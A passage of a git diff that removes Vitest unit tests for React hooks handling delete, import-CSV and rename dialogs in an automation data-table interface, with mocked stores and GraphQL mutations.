-            hoisted.storeState.dataTables = [{baseName: 'OnlyTable', id: 'table-only'}];
-            hoisted.storeState.tableIdToDelete = 'table-only';
-
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockNavigate).toHaveBeenCalledWith('/automation/datatables');
-        });
-
-        it('should invalidate queries and clear dialog on success', () => {
-            hoisted.storeState.tableIdToDelete = 'table-1';
-
-            const {result} = renderHook(() => useDeleteDataTableAlertDialog());
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockInvalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['dataTables'],
-            });
-            expect(hoisted.mockInvalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['dataTableTagsByTable'],
-            });
-            expect(hoisted.mockClearTableToDelete).toHaveBeenCalled();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/hooks/tests/useDeleteDataTableColumnDialog.test.ts b/client/src/pages/automation/datatable/hooks/tests/useDeleteDataTableColumnDialog.test.ts
deleted file mode 100644
index 569adf681f9..00000000000
--- a/client/src/pages/automation/datatable/hooks/tests/useDeleteDataTableColumnDialog.test.ts
+++ /dev/null
@@ -1,216 +0,0 @@
-import {act, renderHook, resetAll} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useDeleteDataTableColumnDialog from '../useDeleteDataTableColumnDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockClearDialog: vi.fn(),
-        mockInvalidateQueries: vi.fn(),
-        mockMutate: vi.fn(),
-        mockSetColumnToDelete: vi.fn(),
-        storeState: {
-            columnId: null as string | null,
-            columnName: '',
-            currentDataTable: {baseName: 'TestTable', id: 'table-123'},
-            environmentId: 2,
-            workspaceId: 1049,
-        },
-    };
-});
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: (selector: (state: {currentWorkspaceId: number}) => number) =>
-        selector({currentWorkspaceId: hoisted.storeState.workspaceId}),
-}));
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useRemoveDataTableColumnMutation: ({onSuccess}: {onSuccess: () => void}) => ({
-            mutate: (params: unknown) => {
-                hoisted.mockMutate(params);
-                onSuccess();
-            },
-        }),
-    };
-});
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({
-    DataTableKeys: {
-        list: (environmentId: number, workspaceId: number) => ['dataTables', environmentId, workspaceId],
-    },
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: (selector: (state: {currentEnvironmentId: number}) => number) =>
-        selector({currentEnvironmentId: hoisted.storeState.environmentId}),
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: () => ({
-        invalidateQueries: hoisted.mockInvalidateQueries,
-    }),
-}));
-
-vi.mock('../../stores/useCurrentDataTableStore', () => ({
-    useCurrentDataTableStore: () => ({
-        dataTable: hoisted.storeState.currentDataTable,
-    }),
-}));
-
-vi.mock('../../stores/useDeleteDataTableColumnDialogStore', () => ({
-    useDeleteDataTableColumnDialogStore: () => ({
-        clearDialog: hoisted.mockClearDialog,
-        columnId: hoisted.storeState.columnId,
-        columnName: hoisted.storeState.columnName,
-        setColumnToDelete: hoisted.mockSetColumnToDelete,
-    }),
-}));
-
-beforeEach(() => {
-    hoisted.storeState.columnId = null;
-    hoisted.storeState.columnName = '';
-    hoisted.storeState.currentDataTable = {baseName: 'TestTable', id: 'table-123'};
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('useDeleteDataTableColumnDialog', () => {
-    describe('initial state', () => {
-        it('should return open as false when columnId is null', () => {
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('should return empty columnName initially', () => {
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            expect(result.current.columnName).toBe('');
-        });
-    });
-
-    describe('open state', () => {
-        it('should return open as true when columnId is set', () => {
-            hoisted.storeState.columnId = 'col-123';
-            hoisted.storeState.columnName = 'Test Column';
-
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            expect(result.current.open).toBe(true);
-            expect(result.current.columnName).toBe('Test Column');
-        });
-    });
-
-    describe('handleOpen', () => {
-        it('should call setColumnToDelete with columnId and columnName', () => {
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleOpen('col-456', 'Column Name');
-            });
-
-            expect(hoisted.mockSetColumnToDelete).toHaveBeenCalledWith('col-456', 'Column Name');
-        });
-    });
-
-    describe('handleClose', () => {
-        it('should call clearDialog', () => {
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(hoisted.mockClearDialog).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('should call clearDialog when open is false', () => {
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(hoisted.mockClearDialog).toHaveBeenCalled();
-        });
-
-        it('should not call clearDialog when open is true', () => {
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(hoisted.mockClearDialog).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('handleDelete', () => {
-        it('should not call mutate when dataTable is null', () => {
-            hoisted.storeState.currentDataTable = null as unknown as {baseName: string; id: string};
-            hoisted.storeState.columnId = 'col-123';
-
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockMutate).not.toHaveBeenCalled();
-        });
-
-        it('should not call mutate when columnId is null', () => {
-            hoisted.storeState.columnId = null;
-
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockMutate).not.toHaveBeenCalled();
-        });
-
-        it('should call mutate with correct parameters when dataTable and columnId exist', () => {
-            hoisted.storeState.columnId = 'col-123';
-
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockMutate).toHaveBeenCalledWith({
-                input: {
-                    columnId: 'col-123',
-                    environmentId: '2',
-                    tableId: 'table-123',
-                },
-            });
-        });
-
-        it('should invalidate queries and clear dialog on success', () => {
-            hoisted.storeState.columnId = 'col-123';
-
-            const {result} = renderHook(() => useDeleteDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockInvalidateQueries).toHaveBeenCalledWith({
-                queryKey: ['dataTables'],
-            });
-            expect(hoisted.mockClearDialog).toHaveBeenCalled();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/hooks/tests/useDeleteDataTableRowsDialog.test.tsx b/client/src/pages/automation/datatable/hooks/tests/useDeleteDataTableRowsDialog.test.tsx
deleted file mode 100644
index 1083ecbbd9e..00000000000
--- a/client/src/pages/automation/datatable/hooks/tests/useDeleteDataTableRowsDialog.test.tsx
+++ /dev/null
@@ -1,263 +0,0 @@
-import {QueryClient, QueryClientProvider} from '@tanstack/react-query';
-import {act, renderHook} from '@testing-library/react';
-import {ReactNode} from 'react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import {useCurrentDataTableStore} from '../../stores/useCurrentDataTableStore';
-import {useDeleteDataTableRowsDialogStore} from '../../stores/useDeleteDataTableRowsDialogStore';
-import {useSelectedRowsStore} from '../../stores/useSelectedRowsStore';
-import useDeleteDataTableRowsDialog from '../useDeleteDataTableRowsDialog';
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: vi.fn(() => 2),
-}));
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockMutateAsync: vi.fn().mockResolvedValue({}),
-    };
-});
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useDeleteDataTableRowMutation: vi.fn(() => ({
-            mutateAsync: hoisted.mockMutateAsync,
-        })),
-    };
-});
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({
-    DataTableKeys: {
-        rowsPage: vi.fn((environmentId: number, tableId: string, pageSize: number) => [
-            'datatable-rows',
-            environmentId,
-            tableId,
-            pageSize,
-        ]),
-    },
-}));
-
-const createWrapper = () => {
-    const queryClient = new QueryClient({
-        defaultOptions: {
-            queries: {
-                retry: false,
-            },
-        },
-    });
-
-    return ({children}: {children: ReactNode}) => (
-        <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
-    );
-};
-
-describe('useDeleteDataTableRowsDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        useCurrentDataTableStore.getState().clearDataTable();
-        useDeleteDataTableRowsDialogStore.getState().clearDialog();
-        useSelectedRowsStore.getState().clearSelectedRows();
-    });
-
-    describe('initial state', () => {
-        it('should return open as false initially', () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('should return rowCount as 0 when no rows are selected in store', () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            expect(result.current.rowCount).toBe(0);
-        });
-
-        it('should return correct rowCount when rows are selected in store', () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-            useSelectedRowsStore.getState().setSelectedRows(new Set<string>(['1', '2', '3']));
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            expect(result.current.rowCount).toBe(3);
-        });
-    });
-
-    describe('handleOpen', () => {
-        it('should set open to true when called', () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            act(() => {
-                result.current.handleOpen();
-            });
-
-            expect(result.current.open).toBe(true);
-        });
-    });
-
-    describe('handleClose', () => {
-        it('should set open to false when called', () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            act(() => {
-                result.current.handleOpen();
-            });
-
-            expect(result.current.open).toBe(true);
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('should close dialog when called with false', () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            act(() => {
-                result.current.handleOpen();
-            });
-
-            expect(result.current.open).toBe(true);
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('should not change state when called with true', () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-
-    describe('handleDelete', () => {
-        it('should not call mutate when no rows are selected in store', () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockMutateAsync).not.toHaveBeenCalled();
-        });
-
-        it('should not call mutate when dataTable is undefined', () => {
-            useSelectedRowsStore.getState().setSelectedRows(new Set<string>(['1']));
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            act(() => {
-                result.current.handleDelete();
-            });
-
-            expect(hoisted.mockMutateAsync).not.toHaveBeenCalled();
-        });
-
-        it('should call mutate for each selected row in store', async () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-            useSelectedRowsStore.getState().setSelectedRows(new Set<string>(['1', '2', '3']));
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            await act(async () => {
-                await result.current.handleDelete();
-            });
-
-            expect(hoisted.mockMutateAsync).toHaveBeenCalledTimes(3);
-            expect(hoisted.mockMutateAsync).toHaveBeenCalledWith({
-                input: {environmentId: '2', id: '1', tableId: 'test-table-id'},
-            });
-            expect(hoisted.mockMutateAsync).toHaveBeenCalledWith({
-                input: {environmentId: '2', id: '2', tableId: 'test-table-id'},
-            });
-            expect(hoisted.mockMutateAsync).toHaveBeenCalledWith({
-                input: {environmentId: '2', id: '3', tableId: 'test-table-id'},
-            });
-        });
-
-        it('should close dialog after delete', async () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-            useSelectedRowsStore.getState().setSelectedRows(new Set<string>(['1']));
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            act(() => {
-                result.current.handleOpen();
-            });
-
-            expect(result.current.open).toBe(true);
-
-            await act(async () => {
-                await result.current.handleDelete();
-            });
-
-            expect(result.current.open).toBe(false);
-        });
-
-        it('should clear selected rows from store after delete', async () => {
-            useCurrentDataTableStore.getState().setDataTable({baseName: 'test-table', id: 'test-table-id'} as never);
-            useSelectedRowsStore.getState().setSelectedRows(new Set<string>(['1', '2', '3']));
-
-            expect(useSelectedRowsStore.getState().selectedRows.size).toBe(3);
-
-            const {result} = renderHook(() => useDeleteDataTableRowsDialog(), {
-                wrapper: createWrapper(),
-            });
-
-            await act(async () => {
-                await result.current.handleDelete();
-            });
-
-            expect(useSelectedRowsStore.getState().selectedRows.size).toBe(0);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/hooks/tests/useImportDataTableCsvDialog.test.ts b/client/src/pages/automation/datatable/hooks/tests/useImportDataTableCsvDialog.test.ts
deleted file mode 100644
index 8abeca408ab..00000000000
--- a/client/src/pages/automation/datatable/hooks/tests/useImportDataTableCsvDialog.test.ts
+++ /dev/null
@@ -1,195 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockClearDialog: vi.fn(),
-        mockMutate: vi.fn(),
-        mockSetOpen: vi.fn(),
-        mutationState: {
-            isPending: false,
-        },
-        storeState: {
-            open: false,
-        },
-    };
-});
-
-vi.mock('../../stores/useImportDataTableCsvDialogStore', () => ({
-    useImportDataTableCsvDialogStore: () => ({
-        clearDialog: hoisted.mockClearDialog,
-        open: hoisted.storeState.open,
-        setOpen: hoisted.mockSetOpen,
-    }),
-}));
-
-vi.mock('../../stores/useCurrentDataTableStore', () => ({
-    useCurrentDataTableStore: () => ({
-        dataTable: {id: 'table-456'},
-    }),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: () => 2,
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: () => ({
-        invalidateQueries: vi.fn(),
-    }),
-}));
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useImportDataTableCsvMutation: () => ({
-            isPending: hoisted.mutationState.isPending,
-            mutate: hoisted.mockMutate,
-        }),
-    };
-});
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({
-    DataTableKeys: {
-        rowsPage: (environmentId: number, tableId: string, pageSize: number) => [
-            'datatables',
-            'rows',
-            environmentId,
-            tableId,
-            pageSize,
-        ],
-    },
-}));
-
-import useImportDataTableCsvDialog from '../useImportDataTableCsvDialog';
-
-describe('useImportDataTableCsvDialog', () => {
-    beforeEach(() => {
-        hoisted.storeState.open = false;
-        hoisted.mutationState.isPending = false;
-        vi.clearAllMocks();
-    });
-
-    afterEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('handleOpen', () => {
-        it('should call setOpen with true', () => {
-            const {result} = renderHook(() => useImportDataTableCsvDialog());
-
-            act(() => {
-                result.current.handleOpen();
-            });
-
-            expect(hoisted.mockSetOpen).toHaveBeenCalledWith(true);
-        });
-    });
-
-    describe('handleClose', () => {
-        it('should call clearDialog', () => {
-            const {result} = renderHook(() => useImportDataTableCsvDialog());
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(hoisted.mockClearDialog).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('should call clearDialog when openValue is false', () => {
-            const {result} = renderHook(() => useImportDataTableCsvDialog());
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(hoisted.mockClearDialog).toHaveBeenCalled();
-        });
-
-        it('should call setOpen with true when openValue is true', () => {
-            const {result} = renderHook(() => useImportDataTableCsvDialog());
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(hoisted.mockSetOpen).toHaveBeenCalledWith(true);
-        });
-    });
-
-    describe('handleImport', () => {
-        it('should call mutation with correct parameters', () => {
-            const {result} = renderHook(() => useImportDataTableCsvDialog());
-            const csvContent = 'name,age\nJohn,30\nJane,25';
-
-            act(() => {
-                result.current.handleImport(csvContent);
-            });
-
-            expect(hoisted.mockMutate).toHaveBeenCalledWith({
-                input: {
-                    csv: csvContent,
-                    environmentId: '2',
-                    tableId: 'table-456',
-                },
-            });
-        });
-
-        it('should handle empty CSV content', () => {
-            const {result} = renderHook(() => useImportDataTableCsvDialog());
-
-            act(() => {
-                result.current.handleImport('');
-            });
-
-            expect(hoisted.mockMutate).toHaveBeenCalledWith({
-                input: {
-                    csv: '',
-                    environmentId: '2',
-                    tableId: 'table-456',
-                },
-            });
-        });
-    });
-
-    describe('open state', () => {
-        it('should return the current open state from store', () => {
-            hoisted.storeState.open = true;
-
-            const {result} = renderHook(() => useImportDataTableCsvDialog());
-
-            expect(result.current.open).toBe(true);
-        });
-
-        it('should return false when dialog is closed', () => {
-            hoisted.storeState.open = false;
-
-            const {result} = renderHook(() => useImportDataTableCsvDialog());
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-
-    describe('isPending state', () => {
-        it('should return false when mutation is not pending', () => {
-            hoisted.mutationState.isPending = false;
-
-            const {result} = renderHook(() => useImportDataTableCsvDialog());
-
-            expect(result.current.isPending).toBe(false);
-        });
-
-        it('should return true when mutation is pending', () => {
-            hoisted.mutationState.isPending = true;
-
-            const {result} = renderHook(() => useImportDataTableCsvDialog());
-
-            expect(result.current.isPending).toBe(true);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/hooks/tests/useRenameDataTableColumnDialog.test.ts b/client/src/pages/automation/datatable/hooks/tests/useRenameDataTableColumnDialog.test.ts
deleted file mode 100644
index 99dcb40805c..00000000000
--- a/client/src/pages/automation/datatable/hooks/tests/useRenameDataTableColumnDialog.test.ts
+++ /dev/null
@@ -1,273 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockClearDialog: vi.fn(),
-        mockMutate: vi.fn(),
-        mockSetColumnToRename: vi.fn(),
-        mockSetRenameValue: vi.fn(),
-        storeState: {
-            columnId: null as string | null,
-            currentName: '',
-            renameValue: '',
-        },
-    };
-});
-
-vi.mock('../../stores/useRenameDataTableColumnDialogStore', () => ({
-    useRenameDataTableColumnDialogStore: () => ({
-        clearDialog: hoisted.mockClearDialog,
-        columnId: hoisted.storeState.columnId,
-        currentName: hoisted.storeState.currentName,
-        renameValue: hoisted.storeState.renameValue,
-        setColumnToRename: hoisted.mockSetColumnToRename,
-        setRenameValue: hoisted.mockSetRenameValue,
-    }),
-}));
-
-vi.mock('../../stores/useCurrentDataTableStore', () => ({
-    useCurrentDataTableStore: () => ({
-        dataTable: {id: 'table-789'},
-    }),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: () => 2,
-}));
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: () => 1049,
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: () => ({
-        invalidateQueries: vi.fn(),
-    }),
-}));
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useRenameDataTableColumnMutation: () => ({
-            mutate: hoisted.mockMutate,
-        }),
-    };
-});
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({
-    DataTableKeys: {
-        list: (environmentId: number, workspaceId: number) => ['datatables', environmentId, workspaceId],
-        rowsPage: (environmentId: number, tableId: string, pageSize: number) => [
-            'datatables',
-            'rows',
-            environmentId,
-            tableId,
-            pageSize,
-        ],
-    },
-}));
-
-import useRenameDataTableColumnDialog from '../useRenameDataTableColumnDialog';
-
-describe('useRenameDataTableColumnDialog', () => {
-    beforeEach(() => {
-        hoisted.storeState.columnId = null;
-        hoisted.storeState.currentName = '';
-        hoisted.storeState.renameValue = '';
-        vi.clearAllMocks();
-    });
-
-    afterEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('handleOpen', () => {
-        it('should call setColumnToRename with correct parameters', () => {
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleOpen('col-123', 'originalName');
-            });
-
-            expect(hoisted.mockSetColumnToRename).toHaveBeenCalledWith('col-123', 'originalName');
-        });
-    });
-
-    describe('handleClose', () => {
-        it('should call clearDialog', () => {
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(hoisted.mockClearDialog).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('should call clearDialog when open is false', () => {
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(hoisted.mockClearDialog).toHaveBeenCalled();
-        });
-
-        it('should not call clearDialog when open is true', () => {
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(hoisted.mockClearDialog).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('handleRenameValueChange', () => {
-        it('should call setRenameValue with the new value', () => {
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleRenameValueChange('newColumnName');
-            });
-
-            expect(hoisted.mockSetRenameValue).toHaveBeenCalledWith('newColumnName');
-        });
-    });
-
-    describe('handleRename', () => {
-        it('should call mutation when canRename is true', () => {
-            hoisted.storeState.columnId = 'col-123';
-            hoisted.storeState.currentName = 'oldName';
-            hoisted.storeState.renameValue = 'newName';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleRename();
-            });
-
-            expect(hoisted.mockMutate).toHaveBeenCalledWith({
-                input: {
-                    columnId: 'col-123',
-                    environmentId: '2',
-                    newName: 'newName',
-                    tableId: 'table-789',
-                },
-            });
-        });
-
-        it('should not call mutation when columnId is null', () => {
-            hoisted.storeState.columnId = null;
-            hoisted.storeState.currentName = 'oldName';
-            hoisted.storeState.renameValue = 'newName';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            act(() => {
-                result.current.handleRename();
-            });
-
-            expect(hoisted.mockMutate).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('canRename', () => {
-        it('should return true when renameValue is different from currentName', () => {
-            hoisted.storeState.currentName = 'oldName';
-            hoisted.storeState.renameValue = 'newName';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            expect(result.current.canRename).toBe(true);
-        });
-
-        it('should return false when renameValue equals currentName', () => {
-            hoisted.storeState.currentName = 'sameName';
-            hoisted.storeState.renameValue = 'sameName';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-
-        it('should return false when renameValue is empty', () => {
-            hoisted.storeState.currentName = 'oldName';
-            hoisted.storeState.renameValue = '';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-
-        it('should return false when renameValue is only whitespace', () => {
-            hoisted.storeState.currentName = 'oldName';
-            hoisted.storeState.renameValue = '   ';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-
-        it('should return false when renameValue is "id" (case insensitive)', () => {
-            hoisted.storeState.currentName = 'oldName';
-            hoisted.storeState.renameValue = 'id';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-
-        it('should return false when renameValue is "ID" (uppercase)', () => {
-            hoisted.storeState.currentName = 'oldName';
-            hoisted.storeState.renameValue = 'ID';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            expect(result.current.canRename).toBe(false);
-        });
-    });
-
-    describe('open state', () => {
-        it('should return true when columnId is not null', () => {
-            hoisted.storeState.columnId = 'col-123';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            expect(result.current.open).toBe(true);
-        });
-
-        it('should return false when columnId is null', () => {
-            hoisted.storeState.columnId = null;
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-
-    describe('currentName and renameValue', () => {
-        it('should return currentName from store', () => {
-            hoisted.storeState.currentName = 'myColumn';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            expect(result.current.currentName).toBe('myColumn');
-        });
-
-        it('should return renameValue from store', () => {
-            hoisted.storeState.renameValue = 'renamedColumn';
-
-            const {result} = renderHook(() => useRenameDataTableColumnDialog());
-
-            expect(result.current.renameValue).toBe('renamedColumn');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/hooks/tests/useRenameDataTableDialog.test.tsx b/client/src/pages/automation/datatable/hooks/tests/useRenameDataTableDialog.test.tsx
deleted file mode 100644
index 509a1d0c086..00000000000
--- a/client/src/pages/automation/datatable/hooks/tests/useRenameDataTableDialog.test.tsx
+++ /dev/null
@@ -1,334 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useRenameDataTableDialog from '../useRenameDataTableDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        invalidateQueries: vi.fn(),
-        renameMutate: vi.fn(),
-        storeState: {
-            baseName: '',
-            clearTableToRename: vi.fn(),
-            renameValue: '',
-            setRenameValue: vi.fn(),
-            setTableToRename: vi.fn(),
-            tableIdToRename: null as string | null,
-        },
-    };
-});
-
-vi.mock('@/pages/automation/datatable/stores/useRenameDataTableDialogStore', () => ({
-    useRenameDataTableDialogStore: vi.fn(() => {
-        return {
-            baseName: hoisted.storeState.baseName,
-            clearTableToRename: () => {
-                hoisted.storeState.baseName = '';
-                hoisted.storeState.renameValue = '';
-                hoisted.storeState.tableIdToRename = null;
-                hoisted.storeState.clearTableToRename();
-            },
-            renameValue: hoisted.storeState.renameValue,
-            setRenameValue: (value: string) => {
-                hoisted.storeState.renameValue = value;
-                hoisted.storeState.setRenameValue(value);
-            },
-            setTableToRename: (tableId: string, baseName: string) => {
-                hoisted.storeState.tableIdToRename = tableId;
-                hoisted.storeState.baseName = baseName;
-                hoisted.storeState.renameValue = baseName;
-                hoisted.storeState.setTableToRename(tableId, baseName);
-            },
-            tableIdToRename: hoisted.storeState.tableIdToRename,
-        };
-    }),
-}));
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useRenameDataTableMutation: vi.fn((options: {onSuccess: () => void}) => ({
-            mutate: (vars: unknown) => {
-                hoisted.renameMutate(vars);
-                options.onSuccess();
-            },
-        })),
-    };
-});
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({
-    DataTableKeys: {
-        list: (environmentId: number, workspaceId: number | null) => ['dataTables', environmentId, workspaceId],
-    },
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: vi.fn(() => 1049),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: vi.fn(() => 2),
-}));
-
-describe('useRenameDataTableDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.storeState.baseName = '';
-        hoisted.storeState.renameValue = '';
-        hoisted.storeState.tableIdToRename = null;
-    });
-
-    describe('initial state', () => {
